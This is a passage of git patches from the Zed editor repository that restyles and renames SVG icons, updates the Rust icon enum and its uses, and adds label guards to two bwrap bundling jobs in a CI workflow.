+<path opacity="0.7" d="M4.42782 7.2487C4.43495 6.97194 4.65009 6.75 4.91441 6.75H13.5293C13.7935 6.75 14.007 6.97194 13.9998 7.2487C13.9628 8.6885 13.7533 12.75 12.5721 12.75H3.375C4.55631 12.75 4.3907 8.6885 4.42782 7.2487Z" fill="#DCE0E5"/>
+<path d="M4.42782 7.2487C4.43495 6.97194 4.65009 6.75 4.91441 6.75H13.5293C13.7935 6.75 14.007 6.97194 13.9998 7.2487C13.9628 8.6885 13.7533 12.75 12.5721 12.75H3.375C4.55631 12.75 4.3907 8.6885 4.42782 7.2487Z" stroke="#DCE0E5" stroke-width="1.2" stroke-linejoin="round"/>
+<path d="M5.19598 12.752H3.66515C3.42618 12.752 3.22289 12.4453 3.18626 12.2017L1.94333 3.936C1.89776 3.63293 2.12496 3.35938 2.42223 3.35938H5.78585C6.11241 3.35938 6.41702 3.52901 6.59618 3.81069C6.81354 4.15241 7.19044 4.35937 7.59543 4.35937H9.92811C10.4007 4.35937 10.8044 4.711 10.8836 5.19168L11.1251 6.65622" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
 </svg>
diff --git a/assets/icons/folder.svg b/assets/icons/folder.svg
index 35f4c1f8acf679..3fa7b66a8e396e 100644
--- a/assets/icons/folder.svg
+++ b/assets/icons/folder.svg
@@ -1,3 +1,3 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M12.8 13C13.1183 13 13.4235 12.8761 13.6486 12.6554C13.8735 12.4349 14 12.1356 14 11.8236V5.94118C14 5.62916 13.8735 5.32992 13.6486 5.10929C13.4235 4.88866 13.1183 4.76471 12.8 4.76471H8.06C7.8593 4.76664 7.66133 4.71919 7.48418 4.6267C7.30703 4.53421 7.15637 4.39964 7.046 4.2353L6.56 3.52941C6.45073 3.36675 6.30199 3.23322 6.1271 3.14082C5.95221 3.04842 5.75666 3.00004 5.558 3H3.2C2.88174 3 2.57651 3.12395 2.35148 3.34458C2.12643 3.56521 2 3.86445 2 4.17647V11.8236C2 12.1356 2.12643 12.4349 2.35148 12.6554C2.57651 12.8761 2.88174 13 3.2 13H12.8Z" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M4.41707 12.4786H6.20854H11.5829C12.5724 12.4786 13.3744 11.6766 13.3744 10.6872V7.55212V7.10426C13.3744 6.11486 12.5724 5.3128 11.5829 5.3128H9.63778C9.16265 5.3128 8.70699 5.12406 8.37102 4.78808L7.62898 4.04604C7.29301 3.71007 6.83735 3.52133 6.36222 3.52133H4.41707C3.42768 3.52133 2.62561 4.3234 2.62561 5.3128V10.6872C2.62561 11.6766 3.42768 12.4786 4.41707 12.4786Z" stroke="#DCE0E5" stroke-width="1.2"/>
 </svg>
diff --git a/assets/icons/folder_add.svg b/assets/icons/folder_add.svg
new file mode 100644
index 00000000000000..296a1375217cd8
--- /dev/null
+++ b/assets/icons/folder_add.svg
@@ -0,0 +1,4 @@
+<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
+<path d="M9 11.8H11.8M11.8 11.8H14.6M11.8 11.8V9M11.8 11.8V14.6" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M6 13H4C2.89543 13 2 12.1046 2 11V5C2 3.89543 2.89543 3 4 3H6.17157C6.70201 3 7.21071 3.21071 7.58579 3.58579L8.41421 4.41421C8.78929 4.78929 9.29799 5 9.82843 5H12C13.1046 5 14 5.89543 14 7V7.5" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round"/>
+</svg>
diff --git a/assets/icons/folder_include.svg b/assets/icons/folder_include.svg
new file mode 100644
index 00000000000000..83b5e6d1185534
--- /dev/null
+++ b/assets/icons/folder_include.svg
@@ -0,0 +1,6 @@
+<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
+<path d="M7.01562 12.75H3.375C4.55631 12.75 4.3907 8.6885 4.42782 7.2487C4.43495 6.97194 4.65009 6.75 4.91441 6.75H13.5293C13.7935 6.75 14.007 6.97194 13.9998 7.2487C13.9887 7.67883 13.9623 8.34295 13.8991 9.06287" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M5.25848 12.7539H3.72765C3.48868 12.7539 3.22289 12.4453 3.18626 12.2017L2.5648 8.06885L1.94333 3.936C1.89776 3.63293 2.12496 3.35938 2.42223 3.35938H5.78585C6.11241 3.35938 6.41702 3.52901 6.59618 3.81069C6.81354 4.15241 7.19044 4.35937 7.59543 4.35937H9.92811C10.4007 4.35937 10.8044 4.711 10.8836 5.19168L11.1251 6.65622" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M11.6 9.88724V14.1318" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M9.47626 12.5234L11.6 14.6471L13.7237 12.5234" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+</svg>
diff --git a/assets/icons/folder_open.svg b/assets/icons/folder_open.svg
index 55231fb6abdb87..f4ec13621e305e 100644
--- a/assets/icons/folder_open.svg
+++ b/assets/icons/folder_open.svg
@@ -1,4 +1,5 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M4.42782 7.2487C4.43495 6.97194 4.65009 6.75 4.91441 6.75H13.5293C13.7935 6.75 14.007 6.97194 13.9998 7.2487C13.9628 8.6885 13.7533 12.75 12.5721 12.75H3.375C4.55631 12.75 4.3907 8.6885 4.42782 7.2487Z" fill="black" stroke="black" stroke-width="1.2" stroke-linejoin="round"/>
-<path d="M5.19598 12.625H3.66515C3.42618 12.625 3.22289 12.4453 3.18626 12.2017L1.94333 3.93602C1.89776 3.63295 2.12496 3.35938 2.42223 3.35938H5.78585C6.11241 3.35938 6.41702 3.52903 6.59618 3.81071L6.94517 4.35938H9.92811C10.4007 4.35938 10.8044 4.71102 10.8836 5.1917L11.1251 6.65624" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path opacity="0.7" d="M4.42782 7.2487C4.43495 6.97194 4.65009 6.75 4.91441 6.75H13.5293C13.7935 6.75 14.007 6.97194 13.9998 7.2487C13.9628 8.6885 13.7533 12.75 12.5721 12.75H3.375C4.55631 12.75 4.3907 8.6885 4.42782 7.2487Z" fill="#DCE0E5"/>
+<path d="M4.42782 7.2487C4.43495 6.97194 4.65009 6.75 4.91441 6.75H13.5293C13.7935 6.75 14.007 6.97194 13.9998 7.2487C13.9628 8.6885 13.7533 12.75 12.5721 12.75H3.375C4.55631 12.75 4.3907 8.6885 4.42782 7.2487Z" stroke="#DCE0E5" stroke-width="1.2" stroke-linejoin="round"/>
+<path d="M5.19598 12.752H3.66515C3.42618 12.752 3.22289 12.4453 3.18626 12.2017L1.94333 3.936C1.89776 3.63293 2.12496 3.35938 2.42223 3.35938H5.78585C6.11241 3.35938 6.41702 3.52901 6.59618 3.81069C6.81354 4.15241 7.19044 4.35937 7.59543 4.35937H9.92811C10.4007 4.35937 10.8044 4.711 10.8836 5.19168L11.1251 6.65622" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
 </svg>
diff --git a/assets/icons/folder_open_add.svg b/assets/icons/folder_open_add.svg
deleted file mode 100644
index d5ebbdaa8b0800..00000000000000
--- a/assets/icons/folder_open_add.svg
+++ /dev/null
@@ -1,5 +0,0 @@
-<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M4.24135 9.23279L5.18103 7.41608C5.28319 7.21319 5.43858 7.0419 5.63058 6.92052C5.82258 6.79914 6.04397 6.73224 6.27106 6.72698H13.0117M13.0117 6.72698C13.2031 6.72664 13.392 6.77016 13.564 6.8542C13.736 6.93824 13.8864 7.06056 14.0037 7.21177C14.1211 7.36298 14.2022 7.53907 14.2409 7.72652C14.2796 7.91397 14.2749 8.10779 14.227 8.29311L13.9858 9.23279M13.0117 6.72698V5.47407C13.0117 5.14178 12.8797 4.8231 12.6447 4.58813C12.4098 4.35317 12.0911 4.22116 11.7588 4.22116H8.04392C7.8365 4.22113 7.63233 4.1696 7.44973 4.07119C7.26714 3.97279 7.11183 3.83059 6.99774 3.65736L6.49032 2.90561C6.37507 2.7306 6.21778 2.58728 6.03282 2.48878C5.84786 2.39028 5.64115 2.33975 5.43161 2.3418H2.98844C2.65615 2.3418 2.33747 2.47381 2.1025 2.70877C1.86754 2.94374 1.73553 3.26242 1.73553 3.59471V11.7386C1.73553 12.0709 1.86754 12.3896 2.1025 12.6245C2.33747 12.8595 2.65615 12.9915 2.98844 12.9915H7.3118" stroke="#C6CAD0" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M11.6 9.88724L11.6 14.1318" stroke="#C6CAD0" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M9.47626 12.5234L11.6 14.6471L13.7237 12.5234" stroke="#C6CAD0" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-</svg>
diff --git a/assets/icons/folder_search.svg b/assets/icons/folder_search.svg
index 207ea5c10e8239..899cb35bd22c49 100644
--- a/assets/icons/folder_search.svg
+++ b/assets/icons/folder_search.svg
@@ -1,5 +1,5 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M14.0001 13.9999L12.7334 12.7333" stroke="black" stroke-width="1.33333" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M11.3333 13.3334C12.4378 13.3334 13.3333 12.4379 13.3333 11.3334C13.3333 10.2288 12.4378 9.33337 11.3333 9.33337C10.2287 9.33337 9.33325 10.2288 9.33325 11.3334C9.33325 12.4379 10.2287 13.3334 11.3333 13.3334Z" stroke="black" stroke-width="1.33333" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M6 13H3.2C2.88174 13 2.57651 12.8761 2.35148 12.6554C2.12643 12.4349 2 12.1356 2 11.8236V4.17647C2 3.86445 2.12643 3.56521 2.35148 3.34458C2.57651 3.12395 2.88174 3 3.2 3H5.558C5.75666 3.00004 5.95221 3.04842 6.1271 3.14082C6.30199 3.23322 6.45073 3.36675 6.56 3.52941L7.046 4.2353C7.15637 4.39964 7.30703 4.53421 7.48418 4.6267C7.66133 4.71919 7.8593 4.76664 8.06 4.76471H12.8C13.1183 4.76471 13.4235 4.88866 13.6486 5.10929C13.8735 5.32992 14 5.62916 14 5.94118V7" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M14 14.2816L12.5804 12.8621" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M11.0113 13.5346C12.2491 13.5346 13.2527 12.531 13.2527 11.2932C13.2527 10.0552 12.2491 9.05173 11.0113 9.05173C9.77331 9.05173 8.76978 10.0552 8.76978 11.2932C8.76978 12.531 9.77331 13.5346 11.0113 13.5346Z" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M6 13H4C2.89543 13 2 12.1046 2 11V5C2 3.89543 2.89543 3 4 3H6.17157C6.70201 3 7.21071 3.21071 7.58579 3.58579L8.41421 4.41421C8.78929 4.78929 9.29799 5 9.82843 5H12C13.1046 5 14 5.89543 14 7V7.5" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round"/>
 </svg>
diff --git a/assets/icons/folder_share.svg b/assets/icons/folder_share.svg
index 09a232a6898896..36db1414b8cf8f 100644
--- a/assets/icons/folder_share.svg
+++ b/assets/icons/folder_share.svg
@@ -1,5 +1,5 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M7.99994 11.3581V7.54178" stroke="#C6CAD0" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M9.90948 8.98791L7.99999 7.07844L6.09053 8.98791" stroke="#C6CAD0" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M13.1715 13.387C13.5144 13.387 13.8432 13.2535 14.0858 13.0157C14.3281 12.7781 14.4644 12.4557 14.4644 12.1195V5.78184C14.4644 5.44567 14.3281 5.12328 14.0858 4.88557C13.8432 4.64787 13.5144 4.51432 13.1715 4.51432H8.06464C7.84841 4.5164 7.63512 4.46528 7.44426 4.36563C7.2534 4.26598 7.09108 4.121 6.97217 3.94394L6.44855 3.18342C6.33083 3.00817 6.17058 2.86431 5.98215 2.76476C5.79373 2.6652 5.58304 2.61308 5.36901 2.61304H2.82852C2.48562 2.61304 2.15677 2.74658 1.91433 2.98428C1.67186 3.22199 1.53564 3.54439 1.53564 3.88056V12.1195C1.53564 12.4557 1.67186 12.7781 1.91433 13.0157C2.15677 13.2535 2.48562 13.387 2.82852 13.387H13.1715Z" stroke="#C6CAD0" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M6 13H4C2.89543 13 2 12.1046 2 11V5C2 3.89543 2.89543 3 4 3H6.17157C6.70201 3 7.21071 3.21071 7.58579 3.58579L8.41421 4.41421C8.78929 4.78929 9.29799 5 9.82843 5H12C13.1046 5 14 5.89543 14 7V7.5" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round"/>
+<path d="M11.2045 14.4761V9.7034" stroke="#DCE0E5" stroke-width="1.65153" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M13.5926 11.5119L11.2046 9.12396L8.81659 11.5119" stroke="#DCE0E5" stroke-width="1.65153" stroke-linecap="round" stroke-linejoin="round"/>
 </svg>
diff --git a/assets/icons/folder_shared.svg b/assets/icons/folder_shared.svg
index c511390305c5eb..785b3aa56d708b 100644
--- a/assets/icons/folder_shared.svg
+++ b/assets/icons/folder_shared.svg
@@ -1,5 +1,6 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M7.99994 11.3581V7.54178" stroke="#C6CAD0" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M9.90948 8.98791L7.99999 7.07844L6.09053 8.98791" stroke="#C6CAD0" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M13.1715 13.387C13.5144 13.387 13.8432 13.2535 14.0858 13.0157C14.3281 12.7781 14.4644 12.4557 14.4644 12.1195V5.78184C14.4644 5.44567 14.3281 5.12328 14.0858 4.88557C13.8432 4.64787 13.5144 4.51432 13.1715 4.51432H8.06464C7.84841 4.5164 7.63512 4.46528 7.44426 4.36563C7.2534 4.26598 7.09108 4.121 6.97217 3.94394L6.44855 3.18342C6.33083 3.00817 6.17058 2.86431 5.98215 2.76476C5.79373 2.6652 5.58304 2.61308 5.36901 2.61304H2.82852C2.48562 2.61304 2.15677 2.74658 1.91433 2.98428C1.67186 3.22199 1.53564 3.54439 1.53564 3.88056V12.1195C1.53564 12.4557 1.67186 12.7781 1.91433 13.0157C2.15677 13.2535 2.48562 13.387 2.82852 13.387H13.1715Z" fill="#D9D9D9" fill-opacity="0.15" stroke="#C6CAD0" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M6 13H4C2.89543 13 2 12.1046 2 11V5C2 3.89543 2.89543 3 4 3H6.17157C6.70201 3 7.21071 3.21071 7.58579 3.58579L8.41421 4.41421C8.78929 4.78929 9.29799 5 9.82843 5H12C13.1046 5 14 5.89543 14 7V7.5" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round"/>
+<path opacity="0.2" d="M4 13H6H12C13.1046 13 14 12.1046 14 11V7.5V7C14 5.89543 13.1046 5 12 5H9.82843C9.29799 5 8.78929 4.78929 8.41421 4.41421L7.58579 3.58579C7.21071 3.21071 6.70201 3 6.17157 3H4C2.89543 3 2 3.89543 2 5V11C2 12.1046 2.89543 13 4 13Z" fill="#DCE0E5" stroke="#DCE0E5" stroke-width="1.2"/>
+<path d="M11.2045 14.4761V9.7034" stroke="#DCE0E5" stroke-width="1.65153" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M13.5926 11.5119L11.2046 9.12396L8.81659 11.5119" stroke="#DCE0E5" stroke-width="1.65153" stroke-linecap="round" stroke-linejoin="round"/>
 </svg>
diff --git a/assets/icons/forward_arrow_up.svg b/assets/icons/forward_arrow_up.svg
index b4abcb2083206f..e196d61892713a 100644
--- a/assets/icons/forward_arrow_up.svg
+++ b/assets/icons/forward_arrow_up.svg
@@ -1,4 +1,4 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M10.0001 6.66669L13.3334 10L10.0001 13.3334" stroke="#C6CAD0" stroke-width="1.25" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M2.66675 5V7.33335C2.66675 8.0406 2.94765 8.71888 3.44775 9.21897C3.94785 9.71907 4.62615 10 5.33345 10H13.3334" stroke="#C6CAD0" stroke-width="1.25" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M10.0001 6.66669L13.3334 10L10.0001 13.3334" stroke="#C6CAD0" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M2.66675 5V7.33335C2.66675 8.0406 2.94765 8.71888 3.44775 9.21897C3.94785 9.71907 4.62615 10 5.33345 10H13.3334" stroke="#C6CAD0" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
 </svg>
diff --git a/assets/icons/library.svg b/assets/icons/library.svg
deleted file mode 100644
index fc7f5afcd2fa45..00000000000000
--- a/assets/icons/library.svg
+++ /dev/null
@@ -1,6 +0,0 @@
-<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M10.6667 4L13.3334 13.3333" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M8 4V13.3333" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M5.33325 5.33331V13.3333" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M2.66675 2.66669V13.3334" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-</svg>
diff --git a/assets/icons/menu_alt_temp.svg b/assets/icons/menu_alt_temp.svg
deleted file mode 100644
index 87add13216d9eb..00000000000000
--- a/assets/icons/menu_alt_temp.svg
+++ /dev/null
@@ -1,3 +0,0 @@
-<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M13.333 10H8M13.333 6H2.66701" stroke="black" stroke-width="1.25" stroke-linecap="round" stroke-linejoin="round"/>
-</svg>
diff --git a/assets/icons/new_thread.svg b/assets/icons/new_thread.svg
deleted file mode 100644
index 19b8fa25ea30ed..00000000000000
--- a/assets/icons/new_thread.svg
+++ /dev/null
@@ -1,4 +0,0 @@
-<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M6 8H8M8 8H10M8 8V6M8 8V10" stroke="#C6CAD0" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M8 13.7253C11.1619 13.7253 13.7253 11.162 13.7253 8.00001C13.7253 4.83803 11.1619 2.27475 8 2.27475C4.83802 2.27475 2.27474 4.83803 2.27474 8.00001C2.27474 9.04281 2.55354 10.0205 3.04068 10.8626L2.561 13.439L5.13737 12.9593C5.97948 13.4465 6.9572 13.7253 8 13.7253Z" stroke="#C6CAD0" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-</svg>
diff --git a/assets/icons/open_folder.svg b/assets/icons/open_folder.svg
deleted file mode 100644
index c4aa32b29cc104..00000000000000
--- a/assets/icons/open_folder.svg
+++ /dev/null
@@ -1,4 +0,0 @@
-<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M6.98001 12.8001H3.20001C2.88175 12.8001 2.57652 12.6736 2.35148 12.4486C2.12644 12.2235 2.00001 11.9183 2.00001 11.6001V3.80006C2.00001 3.4818 2.12644 3.17658 2.35148 2.95154C2.57652 2.72649 2.88175 2.60006 3.20001 2.60006H5.58801C5.7887 2.5981 5.98668 2.6465 6.16383 2.74084C6.34097 2.83517 6.49163 2.97244 6.60201 3.14006L6.99801 3.86006C7.10727 4.02598 7.25602 4.16218 7.43091 4.25643C7.60579 4.35067 7.80134 4.40003 8.00001 4.40006H12.8C13.1183 4.40006 13.4235 4.52649 13.6485 4.75153C13.8736 4.97658 14 5.2818 14 5.60006V7.58006" stroke="#C6CAD0" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M9.8 11.6H11.6M11.6 11.6H13.4M11.6 11.6V9.79999M11.6 11.6V13.4" stroke="#C6CAD0" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-</svg>
diff --git a/assets/icons/share.svg b/assets/icons/share.svg
index 00d2d09b93bb85..45f0adb0ba8ecb 100644
--- a/assets/icons/share.svg
+++ b/assets/icons/share.svg
@@ -1,5 +1,5 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M7.99689 2.05652L7.99929 9.98113" stroke="#C6CAD0" stroke-width="1.17299" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M11.1699 5.22637L8.00001 2.05652L4.83015 5.22637" stroke="#C6CAD0" stroke-width="1.17299" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M3.24522 8L3.24522 12.2653C3.24522 12.7104 3.37046 13.1372 3.59338 13.4519C3.81631 13.7667 4.11866 13.9435 4.43392 13.9435H11.5661C11.8813 13.9435 12.1837 13.7667 12.4066 13.4519C12.6295 13.1372 12.7548 12.7104 12.7548 12.2653V8" stroke="#C6CAD0" stroke-width="1.17299" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M7.99689 2.05652L7.99929 9.98113" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M11.1699 5.22637L8 2.05652L4.83014 5.22637" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M3.24521 8V12.2653C3.24521 12.7104 3.37045 13.1372 3.59337 13.4519C3.8163 13.7667 4.11865 13.9435 4.43391 13.9435H11.5661C11.8813 13.9435 12.1837 13.7667 12.4066 13.4519C12.6295 13.1372 12.7548 12.7104 12.7548 12.2653V8" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
 </svg>
diff --git a/assets/icons/tool_folder.svg b/assets/icons/tool_folder.svg
deleted file mode 100644
index 35f4c1f8acf679..00000000000000
--- a/assets/icons/tool_folder.svg
+++ /dev/null
@@ -1,3 +0,0 @@
-<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M12.8 13C13.1183 13 13.4235 12.8761 13.6486 12.6554C13.8735 12.4349 14 12.1356 14 11.8236V5.94118C14 5.62916 13.8735 5.32992 13.6486 5.10929C13.4235 4.88866 13.1183 4.76471 12.8 4.76471H8.06C7.8593 4.76664 7.66133 4.71919 7.48418 4.6267C7.30703 4.53421 7.15637 4.39964 7.046 4.2353L6.56 3.52941C6.45073 3.36675 6.30199 3.23322 6.1271 3.14082C5.95221 3.04842 5.75666 3.00004 5.558 3H3.2C2.88174 3 2.57651 3.12395 2.35148 3.34458C2.12643 3.56521 2 3.86445 2 4.17647V11.8236C2 12.1356 2.12643 12.4349 2.35148 12.6554C2.57651 12.8761 2.88174 13 3.2 13H12.8Z" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-</svg>
diff --git a/assets/icons/undo.svg b/assets/icons/undo.svg
index ccd45e246c6911..4c286f6fb299b3 100644
--- a/assets/icons/undo.svg
+++ b/assets/icons/undo.svg
@@ -1,4 +1,4 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M6.125 9.25001L3 6.125L6.125 3" stroke="#C4CAD4" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M3 6.125H9.56251C10.0139 6.125 10.4609 6.21391 10.878 6.38666C11.295 6.55942 11.674 6.81262 11.9932 7.13182C12.3124 7.45102 12.5656 7.82997 12.7383 8.24703C12.9111 8.66408 13 9.11108 13 9.5625C13 10.0139 12.9111 10.4609 12.7383 10.878C12.5656 11.295 12.3124 11.674 11.9932 11.9932C11.674 12.3124 11.295 12.5656 10.878 12.7383C10.4609 12.9111 10.0139 13 9.56251 13H7.375" stroke="black" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M6.125 9.25001L3 6.125L6.125 3" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M3 6.125H9.56251C10.0139 6.125 10.4609 6.21391 10.878 6.38666C11.295 6.55942 11.674 6.81262 11.9932 7.13182C12.3124 7.45102 12.5656 7.82997 12.7383 8.24703C12.9111 8.66408 13 9.11108 13 9.5625C13 10.0139 12.9111 10.4609 12.7383 10.878C12.5656 11.295 12.3124 11.674 11.9932 11.9932C11.674 12.3124 11.295 12.5656 10.878 12.7383C10.4609 12.9111 10.0139 13 9.56251 13H7.375" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
 </svg>
diff --git a/crates/icons/src/icons.rs b/crates/icons/src/icons.rs
index 34206b47671d4a..72f6b32221f43c 100644
--- a/crates/icons/src/icons.rs
+++ b/crates/icons/src/icons.rs
@@ -139,8 +139,9 @@ pub enum IconName {
     Flame,
     FoldVertical,
     Folder,
+    FolderAdd,
+    FolderInclude,
     FolderOpen,
-    FolderOpenAdd,
     FolderSearch,
     FolderShare,
     FolderShared,
@@ -172,7 +173,6 @@ pub enum IconName {
     Info,
     Json,
     Keyboard,
-    Library,
     LineHeight,
     Link,
     Linux,
@@ -188,13 +188,10 @@ pub enum IconName {
     Maximize,
     MaximizeAlt,
     Menu,
-    MenuAltTemp,
     Mic,
     MicMute,
     Minimize,
-    NewThread,
     Notepad,
-    OpenFolder,
     Option,
     PageDown,
     PageUp,
@@ -270,7 +267,6 @@ pub enum IconName {
     ToolCopy,
     ToolDeleteFile,
     ToolDiagnostics,
-    ToolFolder,
     ToolHammer,
     ToolNotification,
     ToolPencil,
diff --git a/crates/recent_projects/src/recent_projects.rs b/crates/recent_projects/src/recent_projects.rs
index 696817d10cc9a2..78ddc6787f7a1c 100644
--- a/crates/recent_projects/src/recent_projects.rs
+++ b/crates/recent_projects/src/recent_projects.rs
@@ -1581,7 +1581,7 @@ impl PickerDelegate for RecentProjectsDelegate {
                     .gap_px()
                     .when(is_local, |this| {
                         this.child(
-                            IconButton::new("add_to_workspace", IconName::FolderOpenAdd)
+                            IconButton::new("add_to_workspace", IconName::FolderInclude)
                                 .icon_size(IconSize::Small)
                                 .tooltip({
                                     let focus_handle = self.focus_handle.clone();
diff --git a/crates/sidebar/src/sidebar.rs b/crates/sidebar/src/sidebar.rs
index 9ad835e8d7199a..deb983a3f2bc12 100644
--- a/crates/sidebar/src/sidebar.rs
+++ b/crates/sidebar/src/sidebar.rs
@@ -6764,7 +6764,7 @@ impl Sidebar {
                 })
             })
             .trigger_with_tooltip(
-                IconButton::new("open-project", IconName::OpenFolder)
+                IconButton::new("open-project", IconName::FolderAdd)
                     .icon_size(IconSize::Small)
                     .selected_style(ButtonStyle::Tinted(TintColor::Accent)),
                 |_window, cx| Tooltip::for_action("Add Project", &OpenRecent::default(), cx),

From 1e7f1a11f99237d4dbd448656f0f3df3bf7a1faa Mon Sep 17 00:00:00 2001
From: Finn Evers <finn@zed.dev>
Date: Tue, 23 Jun 2026 16:44:02 +0200
Subject: [PATCH 059/772] ci: Fix bwrap jobs on `run_bundling` (#59765)

This fixes an issue where the bwrap bundle jobs were not guarded
properly and thus showed up as `cancelled` in the job list for PRs from
external contributors, causing the CI to show as failed on a PR (e.g.
https://github.com/zed-industries/zed/actions/runs/28028544741/job/82963972185?pr=59758)

Release Notes:

- N/A
---
 .github/workflows/run_bundling.yml                | 6 ++++++
 tooling/xtask/src/tasks/workflows/run_bundling.rs | 2 +-
 2 files changed, 7 insertions(+), 1 deletion(-)

diff --git a/.github/workflows/run_bundling.yml b/.github/workflows/run_bundling.yml
index 30de6521b3901c..2552d9186c71a4 100644
--- a/.github/workflows/run_bundling.yml
+++ b/.github/workflows/run_bundling.yml
@@ -99,6 +99,9 @@ jobs:
         if-no-files-found: error
     timeout-minutes: 60
   build_static_bwrap_linux_aarch64:
+    if: |-
+      (github.event.action == 'labeled' && github.event.label.name == 'run-bundling') ||
+      (github.event.action == 'synchronize' && contains(github.event.pull_request.labels.*.name, 'run-bundling'))
     runs-on: namespace-profile-8x32-ubuntu-2004-arm-m4
     steps:
     - name: steps::cache_nix_dependencies_namespace
@@ -130,6 +133,9 @@ jobs:
         if-no-files-found: error
     timeout-minutes: 60
   build_static_bwrap_linux_x86_64:
+    if: |-
+      (github.event.action == 'labeled' && github.event.label.name == 'run-bundling') ||
+      (github.event.action == 'synchronize' && contains(github.event.pull_request.labels.*.name, 'run-bundling'))
     runs-on: namespace-profile-32x64-ubuntu-2004
     steps:
     - name: steps::cache_nix_dependencies_namespace
diff --git a/tooling/xtask/src/tasks/workflows/run_bundling.rs b/tooling/xtask/src/tasks/workflows/run_bundling.rs
